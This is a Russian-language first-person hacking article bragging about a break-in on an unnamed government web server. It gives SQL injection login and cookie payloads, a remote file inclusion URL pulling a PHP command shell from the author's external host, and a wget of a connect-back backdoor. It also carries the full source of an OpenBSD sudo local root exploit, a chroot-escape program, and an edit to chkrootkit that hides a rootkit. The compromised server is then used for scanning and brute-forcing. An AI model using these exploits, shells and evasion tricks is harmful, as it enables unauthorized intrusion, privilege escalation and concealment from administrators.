...Анархическое общество будет обществом без бюрократии, без денег и без рынка, или его не будет вообще.
Вадим Дамье, "Экономика Свободы"
В этой статье я хочу рассказать о взломе одного государственного проекта, имя которого умолчу, т.к. такой сервер - лакомый кусочек для хакера
:).
Из онлайна в онлайн
Первым делом мне надо было найти жертву. Я зашел к своему старому другу - google.ru и дал ему таковой запрос:
site:gov filetype:php
Гугл без сомнений дал мне кучу линков, среди которых я натолкнулся на интересный мне
проектик - www.example.gov (название вымышленное). Я быстро зарядил свежий прокси-сервер, дабы не попасться нашем людям в сером
(и уж тем более, в черном :)). Я начал поиск скриптов. Точнее я и не искал, после второго клика я нашел такую вещь,
назовем ее VIP-зоной - зайти в нее можно было только VIP-юзерам, которые имели в ней свой специальный логин и пароль. Ну
что же... Я решил узнать имя какого-либо юзера, имеющего доступ в VIP-зону. Опять покликал по ссылкам, но ничего не нашел кроме самого админа (логин admin). Я решил войти в VIP-зону без пароля, как любой приличный онлайн-анархист, заюзав SQL-инъекцию. К моему счастью, скрипт действительно был болен sql-инъекцией и я составил такой запрос:
' or login='admin'/*
и поместил в поле 'Логин'... Долго ли, короко ли, но страница загрузилась.
"Огого! Да тут оказывается целый хостнг!" - воскликнул я, сильно
удивившись. И в правду: там юзер мог зарегить своё мыло, там лежали какие-то документы и всякая чушь. Я быстро зарегил мыло Inf3ct0r@example.gov и был в не себя от радости, что я обладатель мыла в зоне .gov :). Но это было мне не особо нужно :).
Я остановился, осмотрелся. Документы были конечно интересны, но я хотел получить больше информации, научиться исполнять команды и т.д.,
даже, возможно, получить рут-шелл 🙂 Но я решил таки добить VIP-зону 😉 и не сдаваться...
Через минут 10 ко мне пришла интересная идея, которую грех было не
опробовать - эта идея - SQL инъекция, осуществляемая при помощи cookies'ов.
На сайте можно было размещать документы в формате pdf
- что никаких примочек дать не могло, но я все же
попробовал разместить свою PDF'ку, в которой даже не было ничего написано :). Разместил, зашел на email Inf3ct0r@example.gov и увидел письмо от
service@example.gov. Суть была такова: "Уважаемый admin, ... ... ... ... , Ваша документация ... ... ... ... и т.д и т.п...". "Прокатит", - подумал я. И начал инжектировать кукисы :).
В бразуере я посмотрел cookies'ы example.gov:
SERVER: www.example.gov
NAME: resid
VALUE: 34kjd45445jf45454a346034124a37p950g42 // значение выдуманное 🙂
Я составил SQL запрос:
' UNION SELECT * FROM users WHERE resid='34kjd45445jf45454a346034124a37p950g42' /*
И поместил его в значение resid (в поле VALUE).
Далее я разместил еще одну PDF'ку и ко мне на мыло пришло сообщение:
"Уважаемый security60854reason, ... ... ... ... , Ваша документация ... ... ... ... и т.д и т.п...".
Итак, я удалил этот email (кстати, я выставил его при регистрации как 'использовать для оповещений по умолчанию'), дабы не оставлять улики. Я стянул пароль админа от VIP-зоны.
Н о зачем мне это? А затем, что я уже привык, что огромное количество админов ставят на все одинаковые пароли. Решил
опробовать:
Логин: admin
Пароль: security60854reason
Но к сожалению, я недооценил админа, пароль не подошел. Возможно, мама не научила его защищать свои скрипт от SQL-инъекций, но ставить ко всему разные пароли - да.
Кстати, есть еще действительный метод с паролями:
например, я получал пасс админа, допустим, cgiphp735overflow - и если он не подходил к админке (или чему либо), то брутил в ручную,
просто переставлял слова. Например, overflow735cgiphp или phpcgi735overflow и т.д... И это часто помогало :). Что-то я отвлекся.
Пробежка от МакДоналдса или снова в Онлайн
>:)
Итак, вход в VIP-зону особых возможностей не давал, получение пароля админа от VIP-зоны тоже не
принесло успехов, что же остается? Поиск других бажных скриптов >:(
Я отложил взлом на следующий день. На утро, как полагается настоящему анархисту, я пошел в парикмахерскую, сварганил себе крутой ирокез, затем пошел под МакДональдс и все там разгромил, предварительно
купив бутерброд на свои кровно заработанные
деньги (для серьезных: это была шутка). После отличной пробежки я включил свой компьютер и опять стал Online-анархистом :).
Я снова включил браузер, проверил работоспособность проксика и приступил к поиску бажных скриптов.
Я долго кликал по разным ссылкам, но бажный скрипт мне либо не
попадался на глаза, либо я просто плохо тестировал его на уязвимости 🙂
Но я не разочаровывался, а весело хрумкая вчерашним бутербродом из МакДоналдса, зашел к Гуглу
и отправил такой запрос:
site:www.example.gov filetype:php
И поисковая машина быстро выдала мне кучу ликов на PHP-скрипты. Я не сразу обратил внимание на одну ссылку, которая была в самом конце, но все же
ее заметил. Скрипт documents.php был неправильно написан, да так, что я мог заюзать include()-баг!
http://www.example.gov/documents.php?docum= users&file=http://www.infectors-xoct.narod.ru/
cmd2.php&cmd=ls;
Я не поверил своим глазам :). На экране красовался листинг файлов, выведенный при помощи команды ls. Но первый скрипт cmd.php не работал: Сам же скрипт cmd.php выглядел так:
echo "
”;
system($_GET['cmd']);
echo "
”;
?>
А второй, с которым все просто летало, был не с функцией system( ), а с passthru( ):
echo "
”;
passthru($_GET['cmd']);
echo "
”;
?>
Я заранее создал два скрипта, т.к. я очень привык к таким ситуациям с этими функциями.
На часах было уже три, за окном темно, но лечь спать я не мог - я это прекрасно понимал.
Я выполнил команду id:
http://www.example.gov/documents.php?docum=users& file=http://www.infectors-xoct.narod.ru/cmd.php
&cmd=id;
Команда выполнилась - мои права: nobody. Nobody - это круто!
Далее последовала команда uname -a, дабы узнать больше о системе.
Оп-Па! OpenBSD 3.6, под него только недавно вышел свежайший локальный сплойт от Rush Security Team - r57sudo.c, который поднимает
привилегии до root! Возможно админ не пропатчил ось и она все еще дырявая 🙂 Надо действовать быстрее, пока админы не проснулись и не начали патчить свои ОС.
Я по обычаю решил установить бэкдор - connback - классику
отечественных потайных кодов :), предварительно спрятав его в папке /tmp/
cd /tmp;
wget –O connback.c http://www.infectors-xoct.narod.ru/connback.c;
Приконнектившись к бэкдору с помощью Putty я продолжил своё злостное дело. А дело было таково: скачать сплойт от RST и заюзать его. К сожалению, линк на
сплойт не помню, т.к. я держал его на своем HDD, а затем залил на свой сайт, хостящийся на народ.ру -
http://www.infectors-xoct.narod.ru/r57sudo.c. Будет бессмысленно рассказывать о взломе, без прочтения исходного кода эксплойта:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <sys/wait.h>
#define SUDO "/usr/bin/sudo"
#ifdef BUFSIZ
#undef BUFSIZ
#define BUFSIZ 128
#endif
/*
ANY MODIFIED REPUBLISHING IS RESTRICTED
OpenBSD sudo 1.3.1 - 1.6.8p local root exploit
Tested under OpenBSD 3.6 sudo 1.6.7p5
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru
Race condition in path name, can take a while to exploit
Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince
Fuck lamerz: Saint_I, nmalykh
All rights reserved.
ANY MODIFIED REPUBLISHING IS RESTRICTED
*/
int main (int argc, char ** argv)
{
pid_t pid;
void * buffer;
char * exec, * race, * path;
if(argc != 3)
{
fprintf(stderr, "r57sudo.c by __blf\n");
fprintf(stderr, "RusH Security Team\n");
fprintf(stderr, "Usage: %s <sudo full path command> <sudo command>\n", argv[0]);
fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n");
return EX_USAGE;
}
pid = fork();
if(pid == 0)
{
while(1)
{
exec = (char *)calloc(BUFSIZ, sizeof(char));
race = (char *)calloc(BUFSIZ, sizeof(char));
bzero(exec, sizeof(exec));
snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]);
system((char *)exec);
bzero(race, sizeof(race));
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
system((char *)race);
bzero(race, sizeof(race));
snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]);
system((char *)race);
bzero(race, sizeof(race));
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
system((char *)race);
}
}
if(pid > 0)
{
while(1)
{
path = (char *)calloc(BUFSIZ/2, sizeof(char));
snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]);
system((char *)path);
}
}
}
Я скачал (wget) сплойт, откомпилировал (gcc). Запустил. Все. Теперь я получил
привилегии root'a [aka] суперпользователя. Но это еще не все!
Дестрой chroot'a
Итак, вскоре узнав, что на сервере стоит chroot, я спешил его сломать. Как хорошо, что у меня уже были рутовые
привилегии, т.к сломать chroot без привилегий суперпользователя - невозможно. Может быть и можно, но на данный момент такой атаки не существует. Но хочу заметить, что права не совсем обязательны - главное получить доступ к
командному интерпретатора root'a, т.е. научиться выполнять команды от имени суперпользователя - это главное...
Итак, я сделал следующее: я создал дескриптор для текущей корневой директории dir_fd, создал директорию mkdir, сменил с помощью chroot корень на вновь созданную папку, выполнил команду fchdir() для смены рабочей директории, находящуюся вне оболочки chroot, используя ранее созданный декриптор, выполнил команду chdir(..);, чтобы выполнит смену рабочей директории на вышестоящую, выполнил команду chroot(), чтобы закрепить позиции.
Вот, кстати, скрипт на C++ для выхода из chroot:
// Программа для выхода из окружения chroot
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#define TEMP_DIR "tmp"
int main() {
int x;
int dir_fd;
struct stat sbuf;
if (stat(TEMP_DIR,&sbuf)<0) {
if (errno==ENOENT) {
if (mkdir(TEMP_DIR,0755)<0) {
fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1)
}
} else {
fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else if (!S_ISDIR(sbuf.st_mode)) {
fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
exit(1)
}
if ((dir_fd=open(".",O_RDONLY))<0) {
fprintf(stderr,"Failed to open "." for reading - %s\n",
strerror(errno));
exit(1)
}
if (chroot(TEMP_DIR)<0) {
fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
strerror(errno));
exit(1);
}
if (fchdir(dir_fd)<0) {
fprintf(stderr,"Failed to fchdir - %s\n",
strerror(errno));
exit(1)
}
close(dir_fd);
for(x=0;x<20;x++) { // Число переходов на уровень каталога выше. Установлено 20. Можно менять )))
chdir("..");
}
chroot(".");
if (execl("/bin/sh","-i",NULL)<0) {
fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
exit(1);
}
}
Обман chrootkit'a
Итак, я получил привилегии root и решил заразить систему руткитом для OpenBSD - OBSD rk1. Но тут проблемка - chrootkit. Для тех кто в танке, объясняю, что chrootkit - это система-IDS, находящая руткиты в системе и
сообщающая об этом админу. Как обмануть эту систему? Да просто. Обычное изменение исходного кода!
Так вот. Начинаем дурить нашу "горе-проверялку". Открываем скрипт chkrootkit.
Думаю исходняк объяснять не надо - тут все очень просто, как QBasic
(для танкистов: chrootkit написан на bash). Ищем такой код:
### OpenBSD rootkit v1
if [ "${SYSTEM}" != "SunOS" -a ! -f ${ROOTDIR}usr/lib/security/libgcj.security ]; then
files=""
if [ "${QUIET}" != "t" ];then printn "Searching for OBSD rk v1... "; fi
files=`find ${ROOTDIR}usr/lib/security 2>/dev/null`
if [ "${files}" = "" -o "${SYSTEM}" = "HP-UX" ]; then
if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi
else
echo "${files}"
fi
fi
И изменяем как тут:
### OpenBSD rootkit v1
if [ "${SYSTEM}" != "SunOS" -a ! -f ${ROOTDIR}usr/lib/security/libgcj.security ]; then
files=""
if [ "${QUIET}" != "t" ];then printn "Searching for OBSD rk v1... "; fi
files=`find ${ROOTDIR}usr/lib/security 2>/dev/null`
if [ "${files}" = "" -o "${SYSTEM}" = "HP-UX" ]; then
if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi
else
echo "nothing found"
fi
fi
Обратите внимание на оператор echo в правильном коде и в дурном )). Вот таков будет результат
Searching for OBSD rk v1... nothing found
Таким же методом можно скрыть руткит и от других ОС,
просто заменяя одну строку в куске кода, который находит XXX-руткит.
Все. Руткит мы успешно скрыли от большого кулака админа - парализовав его, и бдительного одноглазого chrootkit'a - выколов ему последний
глазик.
Заключение
В конце концов я исследовал весь сервер - это был отличный плацдарм для своих военных действий: мощный интернет канал, более 3 гигабайт памяти (!!!!!!!!!!!) и прочие вкусности. Я установил на сервере socks, сканирую чужаков :), произвожу брутфорсы и математические вычисления, благодаря которым вскоре узнаю, будет ли анархическое общество, обществом без бюрократии, без денег и без рынка, или его не будет вообще...
Как вычислю - скажу... Но об этом как-нибудь в другой раз...
P.S: Вся информация предоставлена в исключительно ознакомительных целях. Все совпадения - случайность.